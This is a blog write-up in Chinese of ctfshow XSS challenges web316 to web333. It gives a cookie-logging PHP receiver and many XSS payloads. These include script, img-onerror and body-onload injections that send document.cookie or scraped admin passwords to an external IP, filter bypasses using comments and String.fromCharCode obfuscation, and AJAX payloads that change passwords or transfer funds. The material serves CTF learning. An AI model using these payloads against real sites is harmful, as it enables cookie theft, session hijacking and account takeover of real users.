ctfshow-xss

本文最后更新于 2024年11月7日 凌晨

前置知识

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的安全漏洞,攻击者通过在网页中注入恶意脚本代码,诱使用户执行这些代码,从而实现窃取信息、伪造身份、篡改网页内容等攻击。

XSS 攻击可以分为三种主要类型:

  1. 反射型 XSS(Reflected XSS):攻击者通过诱使受害者访问带有恶意脚本的 URL(如通过电子邮件链接、搜索引擎等),恶意脚本被即时执行并在用户的浏览器中反射回来,通常用来窃取用户信息。

  2. 存储型 XSS(Stored XSS):恶意脚本被存储在网站的服务器端(如数据库、日志文件等),当用户访问受感染的页面时,脚本被加载并执行。存储型 XSS 对受害者影响较大,因为一旦脚本被存储在服务器端,所有访问该页面的用户都会受到影响。

  3. DOM 型 XSS(DOM-based XSS):攻击通过客户端 JavaScript 操控 DOM 结构,攻击代码通常在用户的浏览器端执行,而不经过服务器。这种类型的 XSS 是基于网页上的 JavaScript 代码错误进行的攻击

通常的利用点在cookie,bot的执行等等,简单的了解一下知识点就行

web316

反射性xss

1
2
3
4
5
6
7
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>

写在自己的vps上面

执行以下语句,修改vps的内容即可。

1
<script>location.href="http://8.130.42.113:5566/xss.php?cookie="+document.cookie</script>

2024-11-05211605

web317

测试了一下过滤了script,应该大小写也过滤了

0x01

尝试使用img进行绕过

1
<img src="" οnerrοr=location.href="http://8.130.42.113:5566/xss.php?cookie="+document.cookie>

2024-11-05213201

0x02

1
<body onload="window.open('http://8.130.42.113:5566/xss.php?cookie='+document.cookie)"></body>

web318

测试了一下禁用了img,可以继续用body

1
<body onload="window.open('http://8.130.42.113:5566/xss.php?cookie='+document.cookie)"></body>

web319

同web318

web320

简单的在前端输入fuzz看看过滤了什么,scriptimg,空格被过滤了,空格可以用常见的其他的来进行绕过

0x01

1
2
<body/**/onload="window.open('http://8.130.42.113:5566/xss.php?cookie='+document.cookie)"></body>
<body/**/οnlοad=location.href="http://8.130.42.113:5566/xss.php?cookie="+document.cookie>

0x02

学习一下网上的其他方法

String.fromCharCode()函数:ascii码转字符

2024-11-05235755

因此可以利用这个可以构造

1
<body/**/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,56,46,49,51,48,46,52,50,46,49,49,51,58,53,53,54,54,47,120,115,115,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>

里面的实际内容是

1
<script>document.location.href='http://8.130.42.113:5566/xxs.php?cookie=' + document.cookie</script>

web321

同320的0x01

web322

测试了一下,发现xss过滤了,先修改一下vps里的文件名

与此同时还过滤了过滤了script, img, iframe空格,分号,逗号。

1
<body/**/onload="window.open('http://8.130.42.113:5566/orange.php?cookie='+document.cookie)"></body>

web323

同322

web324

同322

web325

同322

web326

同322

到此为止反射型xss结束,可以学习一下不同姿势的xss

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

web327

没什么过滤的,必须是admin才能发送成功

2024-11-06160046

没什么过滤的,按照图片来就行。

1
<script>location.href="http://8.130.42.113:5566/orange.php?cookie="+document.cookie</script>

web328

去看了一下官方的视频了解了一下思路

首先需要注册一个账户,password用payload输入,同时vps的端口需要打开,以便可以接收到cookie值,然后进行登陆,利用bp逐条更改cookie值发包以得到flag

1
<script>location.href="http://8.130.42.113:5566/orange.php?cookie="+document.cookie</script>

2024-11-06170949

然后登陆,bp异步发包改cookie发包就行,速度不要过快

2024-11-06171204

web329

本题与上题不同的地方在于cookie会立即失效,所以用cookie的方法就失效了,可以尝试使用外带其他信息进行登陆得到flag

0x01

通过类名查找元素,通过document来获取。

1
<script>window.open('http://8.130.42.113:5566/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

2024-11-06204219

innerHTML:从对象的起始位置到终止位置的全部内容,不包括Html标签。

可以看到前端代码中将要显示admin密码的地方类为layui-table-cell laytable-cell-1-0-1

这是一个调用 window.open() 函数的语句,用于打开新的浏览器窗口。

0x02

jQuery 选择器查找类和获取内容。参考的jay17师傅的学习了一下

1
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {window.location.href = 'http://8.130.42.113:5566/' +value.innerHTML;}});</script>

值得注意的是环境默认的是注册的就是第一次,所以加入了一个简单的script的限制就可以得到了flag

web330

这题考察的是xss来修改密码。

2024-11-06230549

抓包发现有修改的api,利用本地修改(x自己?)

1
<script>document.location.href='http://127.0.0.1/api/change.php?p=123'</script>

看了一下视频,先注册一个账号,用户名用payload,密码123即可

使用admin登入,等大约五六秒,登入之后需要抓包,会重定向,能看到flag

2024-11-06232418

web331

这题由上题的GET传参变成POST传参了

基本的思路都是一样的,改一下payload就行

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>

$.ajax() 是 jQuery 用于发起 AJAX 请求的方法。

url: 'api/change.php' 指定请求的目标 URL(api/change.php)。

type: 'post' 设置请求类型为 POST。

data: { p: 123 } 是请求的发送数据,这里以键值对的形式传递参数,p 的值为 123。

其余流程差不多,不多赘叙

web332

题目描述是xss在哪里

flag是9999元

随便注册账户默认只有五块,思路就是让自己钱变得多或者让admin设置的钱变少就行

这题先讲非预期,下一题正常讲

给admin转-100000就行了,然后正常买flag

web333

登陆发现没有钱了先是一个方法,先注册一个asd::asd的账户,然后再以payload注册一个账户把钱打进asd的账户里,然后回到asd账户里购买就行

1
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'asd',a:10000}});</script>

ctfshow-xss
https://0ran9ewww.github.io/2024/11/07/每日一题/ctfshow-xss/
作者
orange
发布于
2024年11月7日
许可协议